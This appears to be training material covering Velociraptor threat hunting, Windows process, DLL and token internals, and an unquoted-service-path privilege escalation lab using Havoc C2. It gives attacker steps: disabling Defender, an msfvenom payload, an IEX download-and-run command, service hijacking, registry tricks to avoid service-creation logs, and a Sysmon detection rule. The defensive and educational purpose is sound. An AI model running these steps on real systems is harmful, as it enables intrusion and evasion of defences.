Performance Tuning:

• Concurrency: Number of concurrent queries (be careful not to overwhelm the endpoint)
• NTFS_CACHE_TIME: How long to cache NTFS metadata (1800000 = 30 minutes)

File Collection Strategies:

• Upload_file: Toggle whether to actually upload collected files
• Calculate_Hash: Compute file hashes (crucial for malware analysis)

These aren't just configuration options - they're tactical decisions that affect your investigation's success and stealth.

1.4 ESSENTIAL VELOCIRAPTOR WORKFLOWS

Now here's where Velociraptor really shines - it's not just another forensics tool, it's your complete incident response command center. Let me walk you through the workflows that'll make you dangerous as a threat hunter.

Hunting PowerShell Activity

One of the first things you'll want to do is hunt for PowerShell activity. The screenshots show us using the Windows.EventLogs.PowershellScriptblock artifact, which is specifically designed to collect PowerShell script block logging events:

Looking at the configuration parameters in the screenshots, we can see:

Key Parameters from the Screenshots:

• EvtxGlob: %SystemRoot%\System32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx - targets the PowerShell Operational log specifically
• LogLevel: All (highlighted with red arrow) - collects all PowerShell script block events regardless of log level
• SearchStrings, StringWhitelist, PathWhitelist: Additional filtering options available but not configured in this example

This artifact is laser-focused on PowerShell script block logging (Event ID 4104), which captures the actual PowerShell code being executed. This is pure gold for threat hunters because script block logging records the deobfuscated PowerShell content - even if attackers try to obfuscate their commands, Windows logs the final executed script.

File Hunting at Scale

The file hunting capability is where Velociraptor really flexes its muscles. Check out this workflow:

Windows.Search.FileFinder lets you hunt for files across the entire endpoint using glob patterns. In the screenshot, we're searching for C:\THEV\**\xloader* - that double asterisk (**) is crucial because it means "search recursively through all subdirectories."

What You're Really Seeing Here: The results show us finding files in C:\THEV\Labs\XORShellcode\XLoader\ - this is exactly the kind of pattern matching that makes Velociraptor dangerous for red teamers. It found our "xloader" files scattered across different lab directories.

Advanced File Hunting Tips:

• Use *.exe to find all executables
• Use *loader* to find anything with "loader" in the filename (great for hunting malware)
• Use time-based filters (MoreRecentThan, ModifiedBefore) to narrow down to recent activity

Remote File Collection

Here's where things get really interesting. Velociraptor doesn't just find files - it can collect them remotely:

Windows.Collectors.File with these key settings:

• collectionSpec: temp\demon.x64.exe (specific file to collect)
• Root: C: (search root)
• Accessor: auto (let Velociraptor figure out the best way to access the file)

Critical Understanding: When you see a file get collected (like that demon.x64.exe in the temp folder), Velociraptor is actually copying it back to your server. This means you can analyze malware samples without ever touching the infected endpoint directly.

Event Log Hunting Deep Dive

The event log hunting capabilities are frankly terrifying from a red team perspective:

• Look at those results - we're seeing PowerShell Event ID 4104 events with actual script content: whoami, prompt, $pid, dir C:/, $global:?, get-process.

What This Means for Red Teams: If you're running PowerShell commands, every single one is getting logged if script block logging is enabled. The "ScriptBlockText" column shows exactly what you executed. No obfuscation, no hiding - it's all there.

Blue Team Gold: Event IDs to hunt for:

• 4104: PowerShell script blocks (the actual commands)
• 4103: PowerShell module logging
• 4688: Process creation (with command lines)
• 1: Sysmon process creation

Saving Your Hunts (Favorites)

Smart hunters save their successful queries:

The Favorites panel shows pre-built hunts like:

• Collect Security Event Log
• Search Event Logs "whoami"
• Fetch "demon.x64.exe" artifact from victim
• Find files "xloader"*

Pro Tip: Build your own favorite hunts for common IOCs, file patterns, or registry keys. This turns Velociraptor into your personalized threat hunting platform.

1. PROCESSES, TOKENS & DLL'S

1.1 INTRODUCTION

In the complex landscape of cybersecurity, a deep understanding of operating system internals is paramount for effective digital forensics, proactive threat hunting, and decisive incident response. This chapter focuses on three core Windows OS components: processes, DLLs, and process tokens. We will explore their definitions, internal mechanisms, interrelationships, and, crucially, their significance in detecting and analyzing malicious activities.

1.2 PROCESSES

A Windows process typically starts from a PE-file on disk, below is an overview of a typical PE-file. We will dive deeper into this later on when we'll be building our own evasive shellcode loader. Once this PE-file is executed, it becomes a process in memory.

What is a Process?

A process is an instance of a running program. It encapsulates the necessary resources to execute a program, providing an isolated environment for its operations. Each process has its own dedicated virtual address space, containing the executable code, data, heap, and stack. It also manages its own set of resources, such as open files, network connections, and security context.

Basically, a process holds all kinds of information about itself, including:

• Process ID (PID)
• Parent Process ID (PPID)
• Threads
• Loaded modules (DLLs)
• Handles to system resources
• Token information (user, groups, privileges)
• IAT (Import Address Table) - which holds addresses of functions loaded from DLLs

A HANDLE is like a reference number or a ticket that a program uses to access system resources. These resources could be files, windows, registry keys, processes, network sockets or even threads. Handles are used to track access to resources safely.

A THREAD is the smallest unit of execution in a process, think of threads as individual workers within a single company (the process), each doing a specific task - like downloading a file, updating the UI, or processing data.

Key Process Structures and Components

In Windows, a process is represented by several important data structures that help the operating system manage and track it:

• EPROCESS (Executive Process Block): Think of this as the main "file folder" that Windows keeps for each running program. It contains essential information like the process's unique ID number, which program started it (the parent), and when it was created.

• KPROCESS (Kernel Process Block): This is a section within the main folder that specifically tracks information about the program's threads (the individual tasks it's performing) and how the operating system schedules when it gets to use the computer's processor.

• PEB (Process Environment Block): This is information that the running program itself can access. It includes details about what additional code libraries (DLLs) the program is using, startup parameters, and data from the Windows loader.

• PID (Process ID): A unique number assigned to each running program, like a serial number that helps Windows keep track of which program is which.

• Virtual Address Space: Each program gets its own private "workspace" in memory. For 32-bit programs, this workspace is up to 4 GB, and for 64-bit programs, it can be up to 8 TB on typical Windows systems. This workspace maps to the computer's actual physical memory.

Parent/Child Process Relationships

Processes are typically created by other processes. The creating process is known as the parent process, and the newly created process is the child process. This relationship is hierarchical, forming a process tree where System (PID 4) is often the root, and smss.exe (Session Manager SubSystem) is a key early parent. explorer.exe is commonly the parent for user-launched applications.

When a new process is created (e.g., via CreateProcess API), the child process inherits certain attributes from its parent, including environment variables, some handles, and importantly, a duplicate of the parent's access token. This inheritance is crucial for understanding privilege propagation and potential abuse.

Parent process creates

• new process and
• assigns new PID
  • Child process inherits
    • Copy of security context (token)
    • Environment variables
    • Some handles
  • Child process has its own virtual address space

OVERVIEW: Simplified Process Creation Flow

DFIR Relevance: Identifying Suspicious Process Creation

• Anomalous Parent-Child Chains: Unexpected parent-child relationships are a prime indicator of malicious activity.
  • Example: svchost.exe spawning cmd.exe or powershell.exe. svchost.exe typically hosts services and should not directly launch user-interactive shells.
  • Example: Microsoft Office applications (word.exe, excel.exe) spawning cmd.exe, powershell.exe, or other executables. This is a common tactic for macro-enabled malware.
• Process Renaming/Masquerading: Malware often renames itself to commonly seen processes (e.g., svchost.exe, explorer.exe) to blend in. Analyzing the process path, command line arguments, and parent process can reveal masquerading.
• Execution from Unusual Locations: Processes running from temporary directories (%TEMP%, C:\Windows\Temp), user profile directories (%APPDATA%, %LOCALAPPDATA%), or non-standard system paths are highly suspicious.
• Unusual Command Line Arguments: Many legitimate processes have predictable command line arguments. Malicious processes might use unusual flags, obfuscated strings, or encoded commands (e.g., base64 encoded PowerShell).

📄 Download PDF

1.3 DYNAMIC LINK LIBRARIES (DLLS)

What is a DLL?

A Dynamic Link Library (DLL) is a type of executable file that contains code and data that can be used by multiple programs simultaneously. Unlike static libraries, which are linked into an executable at compile time, DLLs are loaded into memory at runtime, either when a program starts or on demand. This allows for:

• Code Reusability: Multiple applications can use the same DLL, reducing memory footprint and disk space.
• Modularity: Applications can be updated by simply replacing DLLs without recompiling the entire executable.
• Resource Sharing: DLLs can contain resources (icons, strings) that are shared across applications.

How DLLs are Loaded

DLLs can be loaded into a process in two primary ways:

• Implicit (Static) Linking: When an executable is compiled, if it's designed to use functions from a specific DLL, a record of this dependency is stored in the executable's import address table (IAT). When the executable loads, the Windows loader automatically finds and maps these required DLLs into the process's virtual address space.
• Explicit (Dynamic) Linking: A program can explicitly load a DLL at runtime using functions like LoadLibrary or LoadLibraryEx. This allows programs to load DLLs conditionally or load DLLs whose names are determined at runtime.

Once loaded, the DLL's code and data become part of the process's virtual address space, and the process can call functions exported by the DLL.

DLL Injection Techniques

DLL injection is a widely used technique by malware to execute arbitrary code within the context of another process. Common methods include:

• Remote Thread Injection: The most common. A malicious process writes the path to a malicious DLL into the target process's memory and then creates a remote thread in the target process that calls LoadLibrary to load the DLL.
• SetWindowsHookEx: Exploits Windows hooking mechanisms to inject a DLL into processes that receive certain window messages.
• APCs (Asynchronous Procedure Calls): Enqueuing a DLL loading routine into a target thread's APC queue.
• Process Hollowing/RunPE: Creating a suspended process, hollowing out its legitimate code, and injecting malicious code (often including DLLs) before resuming.
• Reflective DLL Injection: The DLL is loaded directly from memory without touching the disk, making detection harder.

DFIR Relevance: DLLs in Malware and Evasion

• Malware Persistence: DLLs can be registered as services, run via AppInit_DLLs registry key, or hijacked through DLL search order flaws to achieve persistence.
• Evasion: Reflective DLL injection or techniques that load DLLs from non-standard locations can bypass traditional endpoint detection mechanisms that monitor file system activity.
• Privilege Escalation: Some DLLs might be vulnerable to hijacking, allowing a lower-privileged process to load a malicious DLL that then executes with higher privileges.
• Code Injection: DLLs are the primary vehicle for code injection into legitimate processes, allowing malware to masquerade, hide, and access resources with the target process's privileges.
• Forensic Artifacts: Analyzing loaded DLLs in memory dumps, Prefetch files, ShimCache, and registry keys related to DLL loading can reveal malicious activity.

1.4 PROCESS TOKENS

What is an Access Token?

An access token is a kernel object that describes the security context of a process or thread. It contains all the security-relevant information about the user account under which the process or thread is running. When a process tries to access a secured object (e.g., a file, registry key, or another process), the operating system performs an access check by comparing the information in the process's (or thread's) access token against the object's Security Descriptor.

Access Token Contents

A typical access token contains:

• User SID (Security Identifier): Identifies the user account.
• Group SIDs: Identifies all security groups the user is a member of (e.g., Administrators, Domain Users).
• Privileges: A list of special rights assigned to the user or group (e.g., SeDebugPrivilege for debugging, SeBackupPrivilege for backing up files).
• Integrity Level (IL): A security attribute that defines the trustworthiness of a process (discussed below).
• Default DACL (Discretionary Access Control List): Specifies default permissions for objects created by the process.
• Authentication ID: Unique identifier for the logon session.

Starting a process with unprivileged user:

Access Token Creation

Access tokens are primarily created during the user logon process. When a user successfully authenticates, the Local Security Authority (LSA) creates an initial access token for that logon session.

When a new process is created, by default, it inherits a copy of its parent's access token. This means a child process runs with the same security context as its parent. However, processes can also be created with a different token (e.g., CreateProcessAsUser, ShellExecuteAsUser, or CreateRestrictedToken).

Integrity Levels (IL)

Integrity Levels (ILs) are a core component of Windows Mandatory Integrity Control (MIC), introduced in Windows Vista. They add another layer of security beyond traditional Discretionary Access Control Lists (DACLs) by assigning a "trustworthiness" level to processes and objects.

There are several standard Integrity Levels:

• Untrusted (0x0000): Very low trust (e.g., for anonymous logon).
• Low (0x1000): Restricted processes, often for internet-facing applications (e.g., Internet Explorer in Protected Mode). Cannot write to most user directories.
• Medium (0x2000): Default for most user-launched applications.
• High (0x3000): For processes launched with administrative privileges (e.g., "Run as administrator" or UAC elevated processes).
• System (0x4000): For core operating system processes and services.
• TrustedInstaller (0x5000): The highest integrity level, reserved for Windows Update and Windows Modules Installer Service, allowing modification of critical system files.

Understanding Mandatory Integrity Control (MIC)

Mandatory Integrity Control (MIC) is a security feature in Windows (introduced in Vista and refined over time) that helps protect your system by assigning integrity levels (IL) to processes, files, registry keys, and other system objects. These levels act like a "trust rating" – think of them as floors in a secure building, where higher floors hold more sensitive stuff (like executive suites) and lower floors are more accessible (like the lobby).

The Key Principle: "No Write Up" Rule

The key principle of MIC is all about controlling writes and modifications between these levels to prevent low-trust processes from compromising high-trust objects. Here's a clearer breakdown:

• What it means: A process running at a lower integrity level (e.g., Medium) cannot write to, modify, or delete objects (like files, registry entries, or even other processes) that are at a higher integrity level (e.g., High or System).

• Why? This stops malware or buggy apps from "escalating" their damage. For example, if a virus infects your browser (Medium IL), it cannot sneakily edit critical system files (High IL) to take over your PC.

• Analogy: Imagine you're on the lobby floor (Low/Medium) – you can't mail a package up to the executive floor (High) without strict approval. But the executives can send memos down to the lobby if they want.

Write Down Rule (The Exception)

• The allowance: A process at a higher integrity level (e.g., High) can freely write to or modify objects at a lower integrity level (e.g., Medium or Low).

• Why? Trusted, high-privilege tasks (like an admin tool) often need to update or clean up lower-level resources without barriers.

• Example: When you run an antivirus scan as an admin (High IL), it can delete infected files in your Downloads folder (Medium IL).

Why This Matters

MIC isn't foolproof (e.g., it doesn't stop read access or UAC prompts for elevation), but it's a core defense against privilege escalation attacks. It enforces a one-way "trust flow" downward, keeping the system safer without locking everything down completely.

DFIR Relevance: Token Manipulation and Privilege Escalation

• Token Theft/Impersonation: Attackers often steal or impersonate tokens from privileged processes (e.g., lsass.exe, services.exe) to gain elevated privileges without needing credentials. This is a common post-exploitation technique.
  Tools: Mimikatz, Incognito, etc...

• Bypassing UAC (User Account Control): Many UAC bypasses involve finding ways to launch processes with a High integrity token from a Medium integrity context, often by abusing legitimate Windows binaries that auto-elevate.

• Integrity Level Analysis: In threat hunting, observing a process running at an unexpectedly low or high integrity level can be suspicious.

  Example: A standard user application running at System integrity level (a strong indicator of compromise).

  Example: Malware attempting to drop files into a Program Files directory (which requires High integrity) from a Medium integrity process, which would fail due to MIC unless a privilege escalation occurred.

  Parent-Child Integrity Discrepancy: While children typically inherit the parent's IL, a sudden jump in integrity level without a legitimate UAC prompt or CreateProcessAsUser could indicate a UAC bypass or other privilege escalation.

Privilege Escalation / Persistence

In order to escalate privileges from a regular user to a higher level account (Administrator/System Authority), you need either a misconfiguration (typically permission issues on services, scheduled tasks etc.) or an exploit (Remote/Rogue/Sweet/Rotten/Juicy/God Potato etc.) - a properly patched and configured system will provide challenges to escalate privileges from a standard user to an administrator user.

There are tons of privilege escalation techniques (many are based on misconfigurations) and it is impossible to cover them all here.

LEGEND:

• ✅ - Requires SeImpersonatePrivilege
• ❌ - Does not require admin privileges
• ⚠️ - Requires medium integrity level and user to be part of local administrators group

These techniques often also perform code execution and persistence. We will cover a few of them (marked in red) in the labs, just to demonstrate the concepts.

That being said, there are numerous techniques to obtain hashes/passwords that don't require administrator privileges - such as kerberoasting, NTLM relaying and password spraying.

Running as a regular unprivileged user:

Running as an administrator:

What is SeDebugPrivilege?

SeDebugPrivilege is a special privilege in Windows that allows a user or process to debug other processes, even those running under different security contexts or with higher privileges, such as system services. This privilege is part of Windows' security model, which uses privileges to control what actions a user or process can perform on the system. SeDebugPrivilege basically allows a user to bypass normal security restrictions when it comes to debugging and interacting with other processes.

Key Points About SeDebugPrivilege

Purpose:

• By default, users can only debug processes they own (i.e., processes they started or are running under their user account).
• SeDebugPrivilege extends this capability, allowing a process or user with this privilege to:
  • Attach a debugger to,
  • Inspect, or
  • Modify any process on the system, including those running as other users or as the SYSTEM account (a highly privileged account in Windows).

How It Works:

• The privilege is managed through Windows security policies and can be assigned or revoked by an administrator.
• It is typically enabled for members of the Administrators group by default on many Windows systems, but this can be changed via Group Policy Objects (GPOs) or local security policies.
• To use SeDebugPrivilege, a process must explicitly request it using Windows API functions like LookupPrivilegeValue and AdjustTokenPrivileges. This involves:
  • Obtaining a handle to the process token.
  • Enabling the privilege.

When is SeDebugPrivilege required?

• To open a handle to another process with full access rights (including the ability to steal its token), you must enable SeDebugPrivilege.
• This privilege allows you to bypass security descriptors and access tokens of processes you do not own (like SYSTEM processes), which is commonly needed for credential dumping, process injection, or SYSTEM-level impersonation.
• Without SeDebugPrivilege, a process can generally only manipulate tokens associated with its own security context (i.e., impersonate a token it already has or one created for it) or those it is allowed access to by the process’s Discretionary Access Control List (DACL).

Default Settings: On many Windows versions (e.g., Windows 10), SeDebugPrivilege is assigned to the Administrators group by default, which can be risky if not properly managed. Even with SeDebugPrivilege, some actions (like injecting into a SYSTEM process) may still fail if other security mechanisms, such as User Account Control (UAC) or additional restrictions, are in place.

Note: Administrators can control SeDebugPrivilege through the Local Security Policy editor (secpol.msc) or Group Policy Management Editor. It is listed under "User Rights Assignment" as "Debug programs". To enable or disable it, an administrator can modify the security policy to add or remove user groups (e.g., Administrators) from having this privilege.

Escalating from unprivileged user to SYSTEM in 3 steps:

1. UNQUOTED SERVICE PATH

1.1 SUMMARY

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Service paths and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program.

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

1.2 MITRE ATT&CK

In order to exploit an unquoted service path misconfiguration, the following conditions are required:

• Requires missing "quotes" in the service path
• and whitespaces in the service path
• write permissions in the parent folder that has the whitespaces

NOTE: Common places where users can install applications are "C:\Users\%username%\appdata" and "C:\Windows\Temp". These locations are writable for the logged on user and therefore typical easy targets for attackers.

CHECKING FOR WEAK PERMISSIONS

We can use powershell to check for weak permissions on folders that have spaces in them:

Get-Acl C:\Users\threatadmin\appdata | Select-Object -ExpandProperty Access | 
Where-Object { $_.FileSystemRights -match "Write|Modify|FullControl" -and $_.AccessControlType -eq "Allow" } | 
Select-Object IdentityReference, FileSystemRights, AccessControlType

As always there are several ways to check for directory/file permissions, here is another one:

icacls C:\Users\threatadmin\appdata

NOTE: Creating, starting, stopping or modifying Windows services requires admin privileges (with HIGH integrity level), but after a reboot the service will start with the privileges of the account configured to run the service (for example NT AUTHORITY\SYSTEM or any other user account it was configured with).

How we created the vulnerable service (this has already been done in your lab) :

• Create folders "C:\MyPrograms\Vulnerable Service"
• Give folder "C:\MyPrograms" write permissions for standard users (icacls "C:\MyPrograms" /grant:r "Users:(OI)(CI)M" /T)
• Copy "VulnService.exe" found under C:\THEV\SysinternalsSuite\VulnService.exe to "C:\MyPrograms\Vulnerable Service\VulnService.exe"

Configuring the service (requires administrator rights) :

sc create VulnService binPath= "C:\MyPrograms\Vulnerable Service\VulnService.exe"
sc config VulnService obj= ".\Threatadmin" password= "Threathunt25"
sc qc VulnService
sc start VulnService

When there are spaces in a service path, Windows will try to find the service as follows:

It will parse "C:\MyPrograms\Vulnerable Service\service.exe" into:

• Potential service: "C:\MyPrograms\vulnerable.exe" (name of the first word of the path that has a space in it)
• with arguments: "Service\service.exe"

By placing a malicious service exe in "C:\MyPrograms\" named vulnerable.exe, we'll escalate privileges to the privileges of the account used to run that service (in our case Threatadmin) and potentially to NT AUTHORITY\SYSTEM (if the service is running with those privileges).

The resukt is that when the service starts, instead of running the service.exe, windows will run the vulnerable.exe (our malicious service), with the privileges of the service account used.

2. CREATING A CUSTOM SERVICE EXECUTABLE

So one thing to remember is that services are not interactive with the user's desktop. The reason MessageBox.Show() won't work is fundamental to how Windows Services operate. They run in Session 0, which is an isolated session reserved for services and system processes. User sessions (where you see your desktop and applications) run in higher-numbered sessions (e.g., Session 1, Session 2, etc.). A service in Session 0 cannot directly interact with a user's desktop in another session. This is not only for GUI-based functions like a message box, but also for showing command output in a cmd/PowerShell terminal - keep this in mind when you create payloads and want to use them as a service binary.

We have provided a custom vulnerable C# service that is running on your Windows machine (it's just a ping to 1.1.1.1 every 60 seconds). The custom service is vulnerable to the unquoted service path requirements (located in a directory with spaces, writable by standard users and missing quotes). We can easily modify this to do evil stuff - code-execution is code-execution! :)

Also note that our EvilService code writes some custom events to the application log under event ID 0 as seen in the screenshot below:

You can find the source code under "C:\THEV\Labs\Privesc\EvilService". We have pre-compiled the code so just rename the EvilService.exe to Vulnerable and copy it to "C:\MyPrograms\".

cd C:\MyPrograms
cp C:\THEV\Labs\PrivEsc\EvilService\EvilService\bin\x64\Release\EvilService.exe C:\MyPrograms\Vulnerable.exe
ls
get-service VulnService
get-service VulnService | start-service
get-service VulnService

This is what it should look like:

Now let's start the service. You can do this from PowerShell (as shown in the screenshot below), or using the services console on Windows (below):

3. VERIFY IF OUR SERVICE IS ACTUALLY RUNNING

Let's have a look at our event logs to confirm our new service did actually run:

Open ELEX (Event Log Explorer) and let's check our logs. We can use the following Event IDs and logs:

In the application log - we can see our EvilService was started and started pinging 1.1.1.1:

In Sysmon's Process Creation logs (EID 1), we can see the same thing:

• The service VulnService
• Started our EvilService service executable instead of the real VulnService.exe located in "C:\MyPrograms\Vulnerable Service\VulnService.exe"
• In High Integrity

We can also verify this with System Informer:

And finally, in the Windows Security event logs (needs to be configured through a GPO) Process Creation logs (EID 4688) we can clearly see the service was started and ran with our custom payload (Vulnerable.exe) instead of the actual service (VulnService):

4. CREATING A METASPLOIT PAYLOAD

NOTE: DEFENDER is turned OFF for this PoC, as it will detect out-of-the-box payloads generated by MSFVenom (Metasploit), yes even a messagebox payload.

Let's check this. We created a simple payload that pops a message box:

On Kali:

msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Successful Execution :)" TITLE="CrimsonCORE" -f exe -o VulnerableMSG.exe

When we download this and run this on our Windows machine you'll see it popping a message box:

When we drop this Metasploit exe payload (renamed to Vulnerable.exe) in C:\MyPrograms and restart the service, you'll see the service will fail to start up and won't show a messagebox.

IMPORTANT: Be aware of this - a regular exe can't be used as a service, and additionally the service won't be able to interact with the desktop (session 0 isolation), so a messagebox or cmd/PowerShell window won't show up.

So instead, we would need to create a service payload that doesn't interact with the desktop. For example, a reverse shell payload that will connect back to our Kali machine when the service starts.

5. DETECTION

NOTE: Your EDR probably logs (some of) these. If you want to log more DLLs and don't want to blow up your SIEM - make a Sysmon rule that excludes DLLs from system32 and other Windows system folders. However, be aware that this can generate a lot of noise and potentially miss some malicious activity if not carefully managed.

The Sysmon rule below is designed to catch this attack scenario:

1. Attacker places malicious executable in a writable directory (e.g., C:\MyPrograms\Vulnerable.exe)
2. Service has unquoted path like C:\MyPrograms\Vulnerable Service\VulnService.exe
3. Windows misparses the path and executes C:\MyPrograms\Vulnerable.exe instead
4. Malicious executable runs with service privileges (High integrity)
5. Sysmon detects: High integrity process + suspicious location + service parent

Tailored SYSMON CONFIG:

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="include">
        <!-- Detect unquoted service path abuse -->
        <Rule name="UnquotedServicePathAbuse" groupRelation="and">
          <!-- Process creation event -->
          <IntegrityLevel condition="is">High</IntegrityLevel>
          <!-- Look for processes running from common writable directories -->
          <Image condition="contains any">C:\MyPrograms\;C:\Program Files\;C:\Users\;C:\ProgramData\;C:\Temp\;C:\Windows\Temp\</Image>
          <!-- Exclude legitimate system processes -->
          <Image condition="excludes all">C:\Windows\System32\;C:\Windows\SysWOW64\</Image>
          <!-- Look for service-related parent processes -->
          <ParentImage condition="is">C:\Windows\System32\services.exe</ParentImage>
        </Rule>
      </ProcessCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Sysmon Rule Analysis: Unquoted Service Path Abuse Detection

This Sysmon configuration is specifically crafted to detect unquoted service path abuse. Here's how it works:

Rule Structure

<Rule name="UnquotedServicePathAbuse" groupRelation="and">

The rule uses groupRelation="and", meaning ALL conditions must be met simultaneously for an alert to trigger.

Condition Breakdown

1. Integrity Level Check

<IntegrityLevel condition="is">High</IntegrityLevel>

• Purpose: Detects processes running with High integrity (Administrator privileges)
• Why this matters: Unquoted service path exploitation results in the malicious executable running with the same privileges as the service (often SYSTEM or Administrator)

2. Suspicious Location Detection

<Image condition="contains any">C:\MyPrograms\;C:\Program Files\;C:\Users\;C:\ProgramData\;C:\Temp\;C:\Windows\Temp\</Image>

• Purpose: Looks for executables running from commonly writable directories
• Key directories monitored:
  • C:\MyPrograms\ - Custom application folders (often user-writable)
  • C:\Program Files\ - Standard program installation directory
  • C:\Users\ - User profile directories
  • C:\ProgramData\ - Shared application data (hidden folder)
  • C:\Temp\ and C:\Windows\Temp\ - Temporary directories

3. System Process Exclusion

<Image condition="excludes all">C:\Windows\System32\;C:\Windows\SysWOW64\</Image>

• Purpose: Excludes legitimate system processes to reduce false positives
• Logic: Legitimate Windows services typically run from system directories - this attack assumes the adversary is running under non-privileged user context.

4. Service Parent Process

<ParentImage condition="is">C:\Windows\System32\services.exe</ParentImage>

• Purpose: Confirms the process was spawned by the Windows Service Control Manager
• Critical insight: services.exe is the parent process for all Windows services

Why This Rule is Effective

• Low false positives: The combination of all four conditions makes it highly specific
• Catches privilege escalation: Focuses on High integrity processes in writable locations
• Service-specific: Only triggers for processes spawned by services.exe
• Covers common attack vectors: Monitors typical directories used in unquoted service path attacks

This is a tactical detection rule that specifically targets the unquoted service path vulnerability demonstrated in the lab, making it an excellent example of how you can implement effective monitoring for privilege escalation attacks (if your EDR logs the required events, you can add this).

6. ENUMERATING UNQUOTED SERVICE PATHS WITH WINPEAS

WinPEAS is a popular post-exploitation enumeration tool that can help identify potential privilege escalation vectors, including unquoted service paths.

When an adversary runs WinPEAS as a regular unprivileged user by opening a command prompt and starting a PowerShell console with your student (unprivileged user) account, you will see the following:

runas /user:student powershell.exe

From the new PowerShell window (running with regular user permissions), the adversary can execute WinPEAS in memory by using IEX (Invoke-Expression):

powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')"

WinPEAS will check for a ton of misconfigurations, system info, updates installed and so on. Scrolling down you see the following:

The results that come back show 3 services with an unquoted service path. However, we need 2 additional conditions in order to exploit this:

• The parent folder that hosts the service executable has to allow a regular user to have write permissions
• The PATH needs to have spaces in it

We can see in our lab that the WindowsAzureGuest agent has an unquoted service path. However, it doesn't comply with the latter 2 conditions needed to execute.

The VulnService service however does comply with all 3 conditions, and we can exploit this to escalate our privileges to the Threatadmin user, which is a local administrator on this machine.

IMPORTANT: We achieve not only Privilege Escalation, but also Code-Execution and Persistence!!!

7. ALTERNATIVE EVASION - MODIFYING A SERVICE THROUGH REGISTRY ENTRIES

Every service created or running on a Windows system can be found in the registry - you can even modify a service without needing sc.exe, which bypasses a lot of detections (relying on API calls made by sc.exe) such as event ID 7045 (service creation). MEDR (Microsoft Endpoint Detection and Response) does NOT log ALL registry events, only a subset of about 500 or so - understand your EDR's capabilities, and know its limitations!!!

Sysmon event IDs 12, 13 and 14 log these events, and can serve as an add-on to your EDR when it's not logging registry events.

The adversary can simply modify an existing service, using reg.exe instead of sc.exe - this will not trigger event ID 7045 (service creation) - but will trigger Sysmon event ID 12 (registry value set). Administrator privileges are still required to modify a service, and the path to the service executable must be writable by the user, but we can point the service to any malicious executable we want.

• ImagePath: Location of the service executable
• Type: 0x10 = service that runs in its own process
• Start: 2 = automatic
• ErrorControl: 1 = Normal (log error and continue)
• ObjectName: specifies the account under which the service runs

You can clearly see the modification made to the service below - this is just to demonstrate how services can be abused by threat actors (remember you need admin privileges for this). Abusing services is a typical persistence mechanism. In a real life scenario the threat actor would change the ImagePath to a malicious service executable for example.

We have set up the lab so that the VulnService service is running with Threatadmin privileges, so when we exploit this unquoted service path vulnerability, we'll escalate our privileges to Threatadmin!

Let's continue to the next lab where we'll use Havoc to get a foothold on our Windows machine, and then exploit this unquoted service path vulnerability to escalate our privileges to Threatadmin!

1. LAB - PRIVILEGE ESCALATION (PRIVESC)

IMPORTANT: Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

IMPORTANT: For this lab we will TURN OFF Windows Defender. We will deal with AV evasion techniques later in the training.

1.1 DISABLE WINDOWS DEFENDER

Make sure Windows Defender TAMPER PROTECTION is turned off, otherwise you won't be able to disable Defender. This has no impact on detections, it just prevents Defender from being turned off, so we need to disable this first.

• On your Windows machine, go to Settings -> Update & Security -> Windows Security -> Virus & threat protection -> Manage settings and turn OFF the Tamper Protection option:

• Check if Defender is turned ON by running the checkav.ps1 script:

• On your Windows machine, open a PowerShell prompt with Administrator privileges:

c:\thev\labs\powershell\av_check.ps1

• If Defender is turned on - run the following script to turn it OFF:

c:\thev\labs\powershell\av_disable.ps1

1.2 ESTABLISH INITIAL FOOTHOLD

• On your Kali machine, go to your terminal, open a new tab and host the /opt/Havoc/payloads directory so we can upload the required files to Kali:

cd /opt/Havoc/payloads
updog2

• Now, on your Windows machine use Chrome and go to http://kali:9090/ and upload the Havoc service demon executable ("demon.x64svc.exe") and the SharpUp.exe file to our payloads directory on Kali. Both files are located in `"C:\THEV\Labs\Lab-privesc"'.

You should see both files on your Kali machine in the /opt/Havoc/payloads directory:

NOTE: We want to start with regular user privileges, as we want to demonstrate privilege escalation from a regular user to an Admin/System user.

• On your Windows machine, open a command prompt with Administrator privileges and use the runas command to start a new command prompt as the unprivileged (Student user):

runas /user:student cmd.exe

• Enter the password, and in the new command prompt you are now running as a regular user with medium integrity. You can check this by running the whoami /all command:

whoami /all

• Now from this new command prompt running as unprivileged user, execute the payload:

cd \temp
demon.x64.exe

1.3 ENUMERATION AND RECONNAISSANCE

First of all, we need to find if there are any misconfigurations on the Windows victim - we can use several tools:

There are several tools we can use for this:

• WinPEAS (which we demonstrated in the previous lab)
• PowerUp (Part of PowerSploit)
• SharpUp (We'll use this to demonstrate Havoc's inline execution capabilities)

USING HAVOC DOTNET INLINE-EXECUTION

Havoc supports inline execution of .NET assemblies, which allows us to run .NET tools directly from the Havoc C2 server without needing to upload them to the target machine. This is particularly useful for evasion, as it minimizes disk activity and reduces the chances of detection by antivirus or endpoint detection and response (EDR) solutions. We're running in the memory of the Havoc demon, so no new processes are created, and no files are written to disk. This is similar to BOFs, but for .NET assemblies.

dotnet inline-execute /opt/Havoc/payloads/SharpUp.exe audit UnquotedServicePath

We now know there's a service that we can abuse for executing a payload, but does it also run with higher privileges than the current user? Remember we want to escalate our privileges. Let's find out.

In Havoc we can use these commands as well by using the SHELL command - this executes cmd.exe commands and gets the output:

• On your Kali machine interact with the student session and use the SHELL command to check which privileges the service is running with:

shell sc qc vulnservice

• Next let's check if the account used by the service is privileged or not:

